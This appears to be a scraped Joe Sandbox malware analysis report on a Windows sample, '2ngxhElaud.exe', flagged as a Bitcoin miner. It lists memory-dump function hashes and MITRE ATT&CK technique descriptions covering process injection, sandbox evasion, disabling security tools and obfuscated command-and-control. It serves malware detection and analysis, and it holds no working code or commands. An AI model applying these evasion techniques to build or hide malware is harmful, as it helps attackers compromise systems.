Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edde0124cdee8978ccb4ae6d2f90d19878091f78188168d993d7bc30fe270b72
Instruction ID: 9e0a91b0492ec5bd1ee19dffa844b9fb2ac27ab79b96b7a316eb0506d2cd3e5e
Opcode Fuzzy Hash: edde0124cdee8978ccb4ae6d2f90d19878091f78188168d993d7bc30fe270b72
Instruction Fuzzy Hash: 2E11D611F2EE2F5FE6B5A7AC147127C23C2DF88214B562179D44EC32E6ED1DEA030281

Function 00007FFD9B880943 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66751987f6192bffb1dae799013a7d1fed148a952332e3e1600a84bfe0ed7e1d
Instruction ID: 98ccdee361af078718e8c5af2970fa613bfd22c56772975571acb467596eda73
Opcode Fuzzy Hash: 66751987f6192bffb1dae799013a7d1fed148a952332e3e1600a84bfe0ed7e1d
Instruction Fuzzy Hash: B2214E2161EACA4FE759DB6408761E4BF91FF1A704F0905FDD4DE8B0E3E82855868342

Function 00007FFD9B8879AC Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 496036a7ce49aea28ae7aa36381ebaf16649d9a4e5e513af27a2f62c75c7b2ff
Instruction ID: f8d1a96b637db5fb69b5d91881f938e2d734f44b819adfb1e87410dbec58fd2f
Opcode Fuzzy Hash: 496036a7ce49aea28ae7aa36381ebaf16649d9a4e5e513af27a2f62c75c7b2ff
Instruction Fuzzy Hash: 16118251F0E98A5FF671E3B800742B86BD19F4E310B5A04F9C4ADCB1E3DD2C6A424342

Function 00007FFD9B88226E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aeebc7b4e23b70999c96580e31d2d3f3b41781b4fe38d41116096edf467ddf8
Instruction ID: fd4eecb5bf61e31de10ae93651acd63a9a8571311c6b53437a2aa25c96a4c0c2
Opcode Fuzzy Hash: 7aeebc7b4e23b70999c96580e31d2d3f3b41781b4fe38d41116096edf467ddf8
Instruction Fuzzy Hash: FE117234A0895C9FDF84EB6CC898E9877F2FF6D30170504A5E44AEB272DA28EC41CB50

Function 00007FFD9B8824D9 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc249fa141d70d6a646d25496707aeccfa59447790823ce04471d493a7a1f3b
Instruction ID: 1fbb09f0b148ca90b50a9ecb4ca6e0e2806db1364850d1b138a06fd2f0e09bd9
Opcode Fuzzy Hash: 5fc249fa141d70d6a646d25496707aeccfa59447790823ce04471d493a7a1f3b
Instruction Fuzzy Hash: 3F01DE10B4AD0D4FD6F8EBAC643637C75C1EF9D301B921179A05EC32E6CD69AD004381

Function 00007FFD9B8821B0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a630f396de444849f27ee98f7cf4302a1253b7a350cded1aa12a72793e405059
Instruction ID: c2c4cbbde7f7ddcec5b9f04d6e6390c298944af583263650cf9d896dec18430b
Opcode Fuzzy Hash: a630f396de444849f27ee98f7cf4302a1253b7a350cded1aa12a72793e405059
Instruction Fuzzy Hash: 7D11576584F7C95FD7538BB08C366963FB0AF17210F0A04E7D091DB0A3E6289A4AC362

Function 00007FFD9B882231 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 017e40e1e26fc00dfaa03e1313066ae837f0e8a5fa33bf72d696e75800a6c27b
Instruction ID: f0e03af89968a950e27f23991683bb26cd66c6b90e08a57abfd7e51decaa3975
Opcode Fuzzy Hash: 017e40e1e26fc00dfaa03e1313066ae837f0e8a5fa33bf72d696e75800a6c27b
Instruction Fuzzy Hash: 6511C83450EBCC4FD762DBA488645D97FB0FF0A300F1500EBD099DB1B2D6249905C751

Function 00007FFD9B888656 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bfb98f6bcd01ec7f2c41dc9c4d5550881c6d138eb393833864e54def3c5aca9
Instruction ID: d55e5ff5590d6349780f91824f07d5a233d5c4eaef663bfd5b3c5d0dda710456
Opcode Fuzzy Hash: 2bfb98f6bcd01ec7f2c41dc9c4d5550881c6d138eb393833864e54def3c5aca9
Instruction Fuzzy Hash: 1E01D621F0A94D4FE3B4D7A804742B827D29F8D310B4601B9C8ADC72E2CD3829429341

Function 00007FFD9B883962 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d191812397d03f63433084a402185625049060c2ef3a927d422af8751e727c1e
Instruction ID: 6ef07cbe9735a5be731579d5ed8fcdeb250dfbfd81fc3bf2e192686478e51bed
Opcode Fuzzy Hash: d191812397d03f63433084a402185625049060c2ef3a927d422af8751e727c1e
Instruction Fuzzy Hash: 31F01D31709D4D8BEAA4DB58C46063973E2EF98340F15453CA05EC72E5DE78FC818B41

Function 00007FFD9B8808A9 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c80a35e7044d2a6e5a619511f301ca086c8c5bfc9ba68cd5da797f6655cbfa
Instruction ID: 458fd8887bc3dab746e10fd7416b6aba1f6202b852684ac440fca3865b7f1841
Opcode Fuzzy Hash: 51c80a35e7044d2a6e5a619511f301ca086c8c5bfc9ba68cd5da797f6655cbfa
Instruction Fuzzy Hash: AEF0F22285F7C80FE7234B744C720947FB0AE17A10B0E96DBC4D8CA0A3D5186A4D8352

Function 00007FFD9B88F120 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41a2c02e776bce57ac72bdd35d3f9bd6ad142d68b830b4dea8c6a52f21624a24
Instruction ID: 8615f6e49bcc9a9a5dda25ff17a3322aab733dd7b09675bf7746841e08e75d54
Opcode Fuzzy Hash: 41a2c02e776bce57ac72bdd35d3f9bd6ad142d68b830b4dea8c6a52f21624a24
Instruction Fuzzy Hash: 01F0A71074ED491FDA99F77C48B67F63BF0EF8D114B4404A9E48EC7292D91CA895C341

Function 00007FFD9B888ABE Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a888ca63d6fc888aafe07bebfcaeb1c4535dff181375ce43d88614ba3b81af9
Instruction ID: 510e10098586f719e2829f58064022bc152c1683f0a0e3dd1df1ac2ee4132560
Opcode Fuzzy Hash: 8a888ca63d6fc888aafe07bebfcaeb1c4535dff181375ce43d88614ba3b81af9
Instruction Fuzzy Hash: 4FF09021A0AD899FE2B4D7AC04742B92BE1DF4D720B5501BAC4A9C72E2C92829424342

Function 00007FFD9B891458 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca741914faccd90d66cb668199a0cd817497f24bc18e3b99ee85e3fbe42479e4
Instruction ID: ee0a83a2af08428d066b691e383277594739480e418ac99c2ba1ea5da63d35e2
Opcode Fuzzy Hash: ca741914faccd90d66cb668199a0cd817497f24bc18e3b99ee85e3fbe42479e4
Instruction Fuzzy Hash: 57D05E30B10D0D4B8B4CB62D885C430B3D1F7A92027945269940AC22A1ED25ECC58B84

Function 00007FFD9B884F28 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00bbbe6bc97a3e9db5c4164940659473fba7b569816eebbcf128976783a5eb43
Instruction ID: 8aaab60e89d355b137db3bdc488dc80baacb504bf11ccea3a7bd06801eba617a
Opcode Fuzzy Hash: 00bbbe6bc97a3e9db5c4164940659473fba7b569816eebbcf128976783a5eb43
Instruction Fuzzy Hash: 19E04F71719E4A8BE260C74CC46557AB3D1EF98710F40023DF05AC7161DE64B8428682

Function 00007FFD9B8834AE Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5484c305077dcabf17ca8598c7dfeb97cfeb5a7b3f294d4e213c99bd9d677165
Instruction ID: 0800d518e994046a0bd9117072e19b1cbb659fb4d6cfdf96da683d6460b2f163
Opcode Fuzzy Hash: 5484c305077dcabf17ca8598c7dfeb97cfeb5a7b3f294d4e213c99bd9d677165
Instruction Fuzzy Hash: 6CE04F71B1DE4E5BE2A4DB8C846053973D1EB9C740F515A3DB05EC72A0DD74A8814A42

Function 00007FFD9B962FBB Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4281481514.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b960000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a0196f261831373bc185987b213276b2c46dfd34945870061d5b33eb2f0939
Instruction ID: 76dc5a83978df0d4504ffccf74fcd8f527fa56384a70c5f43cd6c6bbdf4994fd
Opcode Fuzzy Hash: 66a0196f261831373bc185987b213276b2c46dfd34945870061d5b33eb2f0939
Instruction Fuzzy Hash: DBD0C981B2A41A47F66422CCA8667B87285DB8C610F62903BE149C27D6CC5EAD8603C2

Function 00007FFD9B891480 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16d8480c9680e1e4b2483cbd625abec8b04f9ccf891bf29d2a8b04217bfe03c
Instruction ID: fae34a7210812308bee36100de8b7e07b8ca5012dba62d2c6df0f43843079b6f
Opcode Fuzzy Hash: c16d8480c9680e1e4b2483cbd625abec8b04f9ccf891bf29d2a8b04217bfe03c
Instruction Fuzzy Hash: AED0A930B208084F8F0CA72C885892032E1EB6D21278500A8D00AC32B1E92AE888C780

Function 00007FFD9B8872B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3777b15bb86731096138af128c216a9a98ba4e0f53eb77df3cf848112224bcba
Instruction ID: 2b514442b64163333b3b8eacd08361d60deeb93fd38acb1ba0414fd040d227e9
Opcode Fuzzy Hash: 3777b15bb86731096138af128c216a9a98ba4e0f53eb77df3cf848112224bcba
Instruction Fuzzy Hash: C9D0C934B619084F8B5CA72C885996076D1EB6D21679940A9D00AC72B1E96AD989C781

Function 00007FFD9B8914D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb378752ffa3a8a9bbb1a4769443c2af2c1402eb6e7c83e9df2e6bdb3bb9f08
Instruction ID: 2c20513687404dfd205c8c2b81f93f4602a684aca2a613c834efff9fd0207b6d
Opcode Fuzzy Hash: cdb378752ffa3a8a9bbb1a4769443c2af2c1402eb6e7c83e9df2e6bdb3bb9f08
Instruction Fuzzy Hash: 31D02230B20C084FCB0CFB3C885883073D0EB6D202B8500A8D00EC32B2F92ADC88CB80

Function 00007FFD9B88230E Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd61b26d4364d42eb9a6271d28bf8c9c32c40db9a79977f5afabf2f1abca7410
Instruction ID: 4ad0e13c5e0b6f3b45aa3fdb20cd1ee08f72d600d34e208d6a3fd0ae9e5852e0
Opcode Fuzzy Hash: dd61b26d4364d42eb9a6271d28bf8c9c32c40db9a79977f5afabf2f1abca7410
Instruction Fuzzy Hash: 43D0BC75B088199FDF94EBACC959AA872E2EF5C3017510464E419EB2A6DA38EC818B10

Function 00007FFD9B882B6D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 662c593cdae2f221ed31218f6b5b13e3b3356561426054731c25e3d90fe5d588
Instruction ID: 568682cc25cb4139f855d4913899bed90766f70a20469a0a736f0f0226ef0ee2
Opcode Fuzzy Hash: 662c593cdae2f221ed31218f6b5b13e3b3356561426054731c25e3d90fe5d588
Instruction Fuzzy Hash: 72C08C34611C088FC908EB2CCC8890833B0FB0F301BC200A0E00DC71B1D229DCC6D781

Non-executed Functions

Function 00007FFD9B882D35 Relevance: 7.7, Strings: 6, Instructions: 176COMMON

Download Yara Rule

Strings

X[CT, xrefs: 00007FFD9B882E0C
h[CT, xrefs: 00007FFD9B882D81
`[CT, xrefs: 00007FFD9B882EA6
0[CT, xrefs: 00007FFD9B882E97
([CT, xrefs: 00007FFD9B882DA4
p[CT, xrefs: 00007FFD9B882D48

Memory Dump Source

Source File: 00000001.00000002.4277366626.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_InstallUtil.jbxd

Similarity

API ID:
String ID: ([CT$0[CT$X[CT$`[CT$h[CT$p[CT
API String ID: 0-3982546068
Opcode ID: 454697c800a8e0e40013f2073228f0c0887b63eb673c104f797a9f7830f49d28
Instruction ID: b67b16d9f925806cee14609b45766cb6c33ad745219b2edd99c4a6b25f6e836f
Opcode Fuzzy Hash: 454697c800a8e0e40013f2073228f0c0887b63eb673c104f797a9f7830f49d28
Instruction Fuzzy Hash: 6A51916050EAC88FD756CBAC88753A57FE1FF4B218F5400EED4C98B2E6D7691816C742

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2ngxhElaud.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
2ngxhElaud.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
